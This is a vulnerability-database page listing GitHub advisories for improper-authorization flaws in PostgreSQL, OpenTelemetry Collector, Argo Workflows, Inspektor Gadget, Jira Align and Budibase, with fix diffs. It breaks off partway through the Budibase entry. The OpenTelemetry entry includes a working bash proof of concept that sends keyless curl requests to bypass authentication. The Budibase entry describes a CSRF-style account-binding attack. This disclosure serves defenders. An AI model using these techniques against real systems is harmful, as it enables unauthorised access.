CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2767 vulnerabilities reference this CWE, most recent first.
GHSA-PRCP-93MM-93FM
Vulnerability from github – Published: 2022-05-24 17:11 – Updated: 2024-04-04 02:49A flaw was found in PostgreSQL's "ALTER ... DEPENDS ON EXTENSION", where sub-commands did not perform authorization checks. An authenticated attacker could use this flaw in certain configurations to perform drop objects such as function, triggers, et al., leading to database corruption. This issue affects PostgreSQL versions before 12.2, before 11.7, before 10.12 and before 9.6.17.
{
"affected": [],
"aliases": [
"CVE-2020-1720"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-17T16:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in PostgreSQL\u0026#39;s \u0026quot;ALTER ... DEPENDS ON EXTENSION\u0026quot;, where sub-commands did not perform authorization checks. An authenticated attacker could use this flaw in certain configurations to perform drop objects such as function, triggers, et al., leading to database corruption. This issue affects PostgreSQL versions before 12.2, before 11.7, before 10.12 and before 9.6.17.",
"id": "GHSA-prcp-93mm-93fm",
"modified": "2024-04-04T02:49:31Z",
"published": "2022-05-24T17:11:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1720"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1720"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/about/news/2011"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00043.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PRF6-XJXH-P698
Vulnerability from github – Published: 2024-08-29 17:56 – Updated: 2024-10-01 14:06Summary
OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.
OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.
Impact
Only OpenTelemetry Collector users configured with the “alpha” awsfirehosereceiver module are affected. This module was added in version v0.49.0 of the “Contrib” distribution (or may be included in custom builds).
There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints.
Fix
A fix was introduced in https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0).
Details
Details #### PoC When simulating Firehose requests against vulnerable versions of the Collector, we can see “UNAUTHORIZED METRICS” printed to the console via the debug exporter. (Note this script doesn’t run on some older still-vulnerable versions that do not have the “debug” exporter.)#!/bin/bash
OTELCOL_VERSION=0.107.0
OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}"
OTELCOL_PLATFORM="linux_amd64"
HOST_PORT=8081
cat > config.yaml << END
# https://opentelemetry.io/docs/collector/configuration/
exporters:
debug:
verbosity: normal
receivers:
awsfirehose:
endpoint : "127.0.0.1:${HOST_PORT}"
record_type : "cwmetrics"
access_key : "1234"
service:
pipelines:
metrics:
receivers:
- awsfirehose
exporters:
- debug
telemetry:
logs:
encoding: "json"
level: "debug"
END
if [ ! -x "${OTELCOL_BINARY}" ]; then
curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz
tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib
mv otelcol-contrib ${OTELCOL_BINARY}
fi
"./${OTELCOL_BINARY}" --config=config.yaml &
OTELCOL_PID=$!
echo "Running OTel Collector with PID ${OTELCOL_PID}"
sleep 3
# Send metrics with correct access key
if ! curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-valid"\
-H "X-Amz-Firehose-Access-Key: 1234"\
--data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo "Unexpected – Request with valid access key did not succeed"
kill ${OTELCOL_PID}
exit 1
fi
# Send metrics with incorrect access key
if curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-invalid"\
-H "X-Amz-Firehose-Access-Key: 5678"\
--data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo "Unexpected – Request succeeded with invalid access key"
kill ${OTELCOL_PID}
exit 1
fi
# Send unauthorized metrics without an access key
if curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\
--data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo -e "\n*** Vulnerability present - request with no access key succeeded ***\n"
else
echo "Not vulnerable - request with no key was denied."
kill ${OTELCOL_PID}
exit 1
fi
kill ${OTELCOL_PID}
diff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go
index 6211f61221..4d78eb2778 100644
--- a/receiver/awsfirehosereceiver/receiver.go
+++ b/receiver/awsfirehosereceiver/receiver.go
@@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// validate checks the Firehose access key in the header against
// the one passed into the Config
func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {
- if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != "" && accessKey != string(fmr.config.AccessKey) {
- return http.StatusUnauthorized, errInvalidAccessKey
+ if string(fmr.config.AccessKey) == "" {
+ // No access key is configured - accept all requests.
+ return http.StatusAccepted, nil
+ }
+ if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {
+ return http.StatusAccepted, nil
}
- return http.StatusAccepted, nil
+ return http.StatusUnauthorized, errInvalidAccessKey
}
diff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go
index b02a391dd5..1ef5bdf4d3 100644
--- a/receiver/awsfirehosereceiver/receiver_test.go
+++ b/receiver/awsfirehosereceiver/receiver_test.go
@@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) {
wantStatusCode: http.StatusUnauthorized,
wantErr: errInvalidAccessKey,
},
+ "WithNoAccessKey": {
+ headers: map[string]string{
+ headerFirehoseAccessKey: "",
+ },
+ body: testFirehoseRequest(testFirehoseRequestID, noRecords),
+ wantStatusCode: http.StatusUnauthorized,
+ wantErr: errInvalidAccessKey,
+ },
"WithoutRequestId/Body": {
headers: map[string]string{
headerFirehoseRequestID: testFirehoseRequestID,
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver"
},
"ranges": [
{
"events": [
{
"introduced": "0.49.0"
},
{
"fixed": "0.108.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45043"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T17:56:36Z",
"nvd_published_at": "2024-08-28T20:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nOpenTelemetry Collector module [`awsfirehosereceiver`](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver) allows unauthenticated remote requests, even when configured to require a key.\n\nOpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. [Firehose sets the header](https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html) `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**.\n\n### Impact\n\nOnly OpenTelemetry Collector users configured with the \u201c[alpha](https://github.com/open-telemetry/opentelemetry-collector#alpha)\u201d `awsfirehosereceiver` module are affected. This module was [added](https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74) in version v0.49.0 of the [\u201cContrib\u201d distribution](https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib) (or may be included in custom builds).\n\nThere is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It\u2019s likely these endpoints will be exposed to the public internet, as Firehose [does not support private HTTP endpoints](https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http).\n\n### Fix\n\nA fix was introduced in https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0).\n\n### Details\n\n\u003cdetails\u003e\n \u003csummary\u003eDetails\u003c/summary\u003e\n\n#### PoC\n\nWhen simulating Firehose requests against vulnerable versions of the Collector, we can see \u201cUNAUTHORIZED METRICS\u201d printed to the console via the debug exporter.\n(Note this script doesn\u2019t run on some older still-vulnerable versions that do not have the \u201cdebug\u201d exporter.)\n\n```shell\n#!/bin/bash\n\nOTELCOL_VERSION=0.107.0\nOTELCOL_BINARY=\"otelcol-contrib-${OTELCOL_VERSION}\"\nOTELCOL_PLATFORM=\"linux_amd64\"\nHOST_PORT=8081\n\ncat \u003e config.yaml \u003c\u003c END\n# https://opentelemetry.io/docs/collector/configuration/\nexporters:\n debug:\n verbosity: normal\nreceivers:\n awsfirehose:\n endpoint : \"127.0.0.1:${HOST_PORT}\"\n record_type : \"cwmetrics\"\n access_key : \"1234\"\nservice:\n pipelines:\n metrics:\n receivers:\n - awsfirehose\n exporters:\n - debug\n telemetry:\n logs:\n encoding: \"json\"\n level: \"debug\"\nEND\n\n\nif [ ! -x \"${OTELCOL_BINARY}\" ]; then\n curl --proto \u0027=https\u0027 --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz\n tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib\n mv otelcol-contrib ${OTELCOL_BINARY}\nfi\n\n\"./${OTELCOL_BINARY}\" --config=config.yaml \u0026\nOTELCOL_PID=$!\n\necho \"Running OTel Collector with PID ${OTELCOL_PID}\"\n\nsleep 3\n\n# Send metrics with correct access key\nif ! curl --fail \\\n -H \"Content-Type: application/json\"\\\n -H \"X-Amz-Firehose-Request-Id: requestId-valid\"\\\n -H \"X-Amz-Firehose-Access-Key: 1234\"\\\n --data \u0027{\"requestId\":\"requestId-valid\",\"timestamp\":1723704887152,\"records\":[{\"data\":\"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0=\"}]}\u0027\\\n http://127.0.0.1:${HOST_PORT}\nthen\n echo \"Unexpected \u2013 Request with valid access key did not succeed\"\n kill ${OTELCOL_PID}\n exit 1\nfi\n\n# Send metrics with incorrect access key\nif curl --fail \\\n -H \"Content-Type: application/json\"\\\n -H \"X-Amz-Firehose-Request-Id: requestId-invalid\"\\\n -H \"X-Amz-Firehose-Access-Key: 5678\"\\\n --data \u0027{\"requestId\":\"requestId-invalid\",\"timestamp\":1723704887152,\"records\":[{\"data\":\"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0=\"}]}\u0027\\\n http://127.0.0.1:${HOST_PORT}\nthen\n echo \"Unexpected \u2013 Request succeeded with invalid access key\"\n kill ${OTELCOL_PID}\n exit 1\nfi\n\n# Send unauthorized metrics without an access key\nif curl --fail \\\n -H \"Content-Type: application/json\"\\\n -H \"X-Amz-Firehose-Request-Id: requestId-unauthorized\"\\\n --data \u0027{\"requestId\":\"requestId-unauthorized\",\"timestamp\":1723704887152,\"records\":[{\"data\":\"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0=\"}]}\u0027\\\n http://127.0.0.1:${HOST_PORT}\nthen\n echo -e \"\\n*** Vulnerability present - request with no access key succeeded ***\\n\"\nelse\n echo \"Not vulnerable - request with no key was denied.\"\n kill ${OTELCOL_PID}\n exit 1\nfi\n\nkill ${OTELCOL_PID}\n```\n\n#### Patch\n\nThe [`if` statement](https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/v0.107.0/receiver/awsfirehosereceiver/receiver.go#L235) makes the access key header optional, rather than the configuration optional.\n\nThis has been patched in #34847 to separately handle the case where access_key is not configured, and use a default-deny style:\n\n```diff\ndiff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go\nindex 6211f61221..4d78eb2778 100644\n--- a/receiver/awsfirehosereceiver/receiver.go\n+++ b/receiver/awsfirehosereceiver/receiver.go\n@@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n // validate checks the Firehose access key in the header against\n // the one passed into the Config\n func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n- if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != \"\" \u0026\u0026 accessKey != string(fmr.config.AccessKey) {\n- return http.StatusUnauthorized, errInvalidAccessKey\n+ if string(fmr.config.AccessKey) == \"\" {\n+ // No access key is configured - accept all requests.\n+ return http.StatusAccepted, nil\n+ }\n+ if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {\n+ return http.StatusAccepted, nil\n }\n- return http.StatusAccepted, nil\n+ return http.StatusUnauthorized, errInvalidAccessKey\n }\n\ndiff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go\nindex b02a391dd5..1ef5bdf4d3 100644\n--- a/receiver/awsfirehosereceiver/receiver_test.go\n+++ b/receiver/awsfirehosereceiver/receiver_test.go\n@@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) {\n wantStatusCode: http.StatusUnauthorized,\n wantErr: errInvalidAccessKey,\n },\n+ \"WithNoAccessKey\": {\n+ headers: map[string]string{\n+ headerFirehoseAccessKey: \"\",\n+ },\n+ body: testFirehoseRequest(testFirehoseRequestID, noRecords),\n+ wantStatusCode: http.StatusUnauthorized,\n+ wantErr: errInvalidAccessKey,\n+ },\n \"WithoutRequestId/Body\": {\n headers: map[string]string{\n headerFirehoseRequestID: testFirehoseRequestID,\n\n```\n\n\u003c/details\u003e",
"id": "GHSA-prf6-xjxh-p698",
"modified": "2024-10-01T14:06:07Z",
"published": "2024-08-29T17:56:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-q9wq-xc9h-xrw9"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-prf6-xjxh-p698"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45043"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/commit/371bf6afbd7cfa3253fa1674f5444064e86ef0ac"
},
{
"type": "WEB",
"url": "https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http"
},
{
"type": "WEB",
"url": "https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector#alpha"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenTelemetry Collector module AWS Firehose Receiver Authentication Bypass Vulnerability"
}
GHSA-PRQF-XR2J-XF65
Vulnerability from github – Published: 2021-08-23 19:41 – Updated: 2021-08-23 17:05Impact
This is pro-active fix. No know exploits exist.
Impacted:
- You're running Kubernetes >= v1.19
- You're running Argo Server
- It is configured to with
--auth-mode=client - Is not configured with
--auth-mode=server - You are not running Argo Server in Kubernetes pod. E.g. on bare metal or other VM.
- You're using client key to authenticate on the server.
- The server has more permissions that the connecting client's account.
The client's authentication will be ignored and the server's authentication will be used. This will result in privilege escalation to that of the the server's account.
Patches
https://github.com/argoproj/argo-workflows/pull/6506
Workarounds
None.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-23T17:05:11Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\n\nThis is pro-active fix. No know exploits exist. \n\nImpacted:\n\n* You\u0027re running Kubernetes \u003e= v1.19\n* You\u0027re running Argo Server\n* It is configured to with `--auth-mode=client`\n* Is not configured with `--auth-mode=server`\n* You are not running Argo Server in Kubernetes pod. E.g. on bare metal or other VM.\n* You\u0027re using client key to authenticate on the server. \n* The server has more permissions that the connecting client\u0027s account.\n\nThe client\u0027s authentication will be ignored and the server\u0027s authentication will be used. This will result in privilege escalation to that of the the server\u0027s account.\n\n### Patches\n\nhttps://github.com/argoproj/argo-workflows/pull/6506\n\n### Workarounds\n\nNone.",
"id": "GHSA-prqf-xr2j-xf65",
"modified": "2021-08-23T17:05:11Z",
"published": "2021-08-23T19:41:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-prqf-xr2j-xf65"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Potential privilege escalation on Kubernetes \u003e= v1.19 when the Argo Sever is run with `--auth-mode=client`"
}
GHSA-PV22-FQCJ-7XWH
Vulnerability from github – Published: 2025-05-06 00:42 – Updated: 2025-05-06 19:13Security policies like allowed-gadgets, disallow-pulling, verify-image can be bypassed by a malicious client.
Impact
Users running ig in daemon mode or IG on Kubernetes that rely on any of the features mentioned above are vulnerable to this issue. In order to exploit this, the client needs access to the server, like the correct TLS certificates on the ig daemon case or access to the cluster in the Kubernetes case.
Patches
The issue has been fixed in v0.40.0
Workarounds
There is not known workaround to fix it.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/inspektor-gadget/inspektor-gadget"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.40.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-06T00:42:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Security policies like [`allowed-gadgets`](https://inspektor-gadget.io/docs/latest/reference/restricting-gadgets), [`disallow-pulling`](https://inspektor-gadget.io/docs/latest/reference/disallow-pulling), [`verify-image`](https://inspektor-gadget.io/docs/latest/reference/verify-assets#verify-image-based-gadgets) can be bypassed by a malicious client.\n\n### Impact\n\nUsers running `ig` in daemon mode or IG on Kubernetes that rely on any of the features mentioned above are vulnerable to this issue. In order to exploit this, the client needs access to the server, like the correct TLS certificates on the `ig daemon` case or access to the cluster in the Kubernetes case. \n\n### Patches\n\nThe issue has been fixed in v0.40.0\n\n### Workarounds\n\nThere is not known workaround to fix it.",
"id": "GHSA-pv22-fqcj-7xwh",
"modified": "2025-05-06T19:13:21Z",
"published": "2025-05-06T00:42:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-pv22-fqcj-7xwh"
},
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/c51d419964f5b6f9344fcad4faba70e2e025212b"
},
{
"type": "PACKAGE",
"url": "https://github.com/inspektor-gadget/inspektor-gadget"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3665"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Inspektor Gadget Security Policies Can be Bypassed"
}
GHSA-PV32-QPG6-RFQJ
Vulnerability from github – Published: 2025-10-22 18:30 – Updated: 2025-10-24 15:31Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view other team overviews.
{
"affected": [],
"aliases": [
"CVE-2025-22177"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T17:15:58Z",
"severity": "MODERATE"
},
"details": "Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view other team overviews.",
"id": "GHSA-pv32-qpg6-rfqj",
"modified": "2025-10-24T15:31:24Z",
"published": "2025-10-22T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22177"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JIRAALIGN-8646"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PVCR-8MVP-W8QR
Vulnerability from github – Published: 2026-07-24 21:42 – Updated: 2026-07-24 21:42Summary
The Budibase AI chat-link handoff flow (GET/POST /api/chat-links/:instance/:token/handoff) binds an external chat identity (Slack/Discord/MS Teams/Telegram) to a Budibase user account. The confirmation endpoint is on a public route (no CSRF middleware, no auth-group gate) and the only credential it checks is a confirmationToken that is already rendered in plaintext into the HTML confirmation page the victim views. There is no binding between the confirmation token and the requester's Budibase session at preparation time, and no CSRF token on the POST.
Consequently, an attacker who creates a chat-link session for their own external chat identity (or any identity they can mint in their chat platform) can induce a victim Budibase user (same tenant) to submit the confirmation POST -> for example by sending them a link that auto-submits, or by XSS/CSRF on a co-tenanted page -> and the victim's globalUserId becomes bound to the attacker's external identity. The attacker then sends messages to the AI agent from their chat platform and is acting as the victim user inside Budibase automations/agent operations, inheriting the victim's permissions on agent operations, knowledge sources, and any downstream automation steps keyed off the linked identity.
Affected
| Component | Path | Lines |
|---|---|---|
| Public handoff routes (no auth-group middleware) | packages/server/src/api/routes/chat.ts |
23 (GET /api/chat-links/:instance/:token/handoff), 27 (POST .../handoff) |
| Confirmation controller | packages/server/src/api/controllers/ai/chatIdentityLinks.ts |
124-177 (confirmChatLinkSession); the binding at 153-173 |
| Confirmation token rendered into HTML | packages/server/src/api/controllers/ai/chatIdentityLinks.ts |
40-60 (renderLinkConfirmationPage); the hidden input at 55 |
| Session creation (attacker side) | packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts |
138-171 (createChatIdentityLinkSession), 173-188 (prepareChatIdentityLinkSessionConfirmation) |
| Upsert of identity link | packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts |
201-250 (upsertChatIdentityLink) |
Affected versions: master at commit 3c8d1b4023.
Reachable over HTTP by: the GET and POST are on publicRoutes (no auth-group middleware). The POST requires ctx.isAuthenticated at runtime (controllers/ai/chatIdentityLinks.ts:142) -> so the victim must be logged into Budibase when the POST fires (achievable via standard CSRF if cookies are sent cross-origin, or via phishing that lures the victim to submit).
Root cause
Issue 1 -> The handoff routes are public and unauthenticated at the middleware layer.
// packages/server/src/api/routes/chat.ts:23, 27
publicRoutes.get("/api/chat-links/:instance/:token/handoff", ai.handoffChatLinkSession)
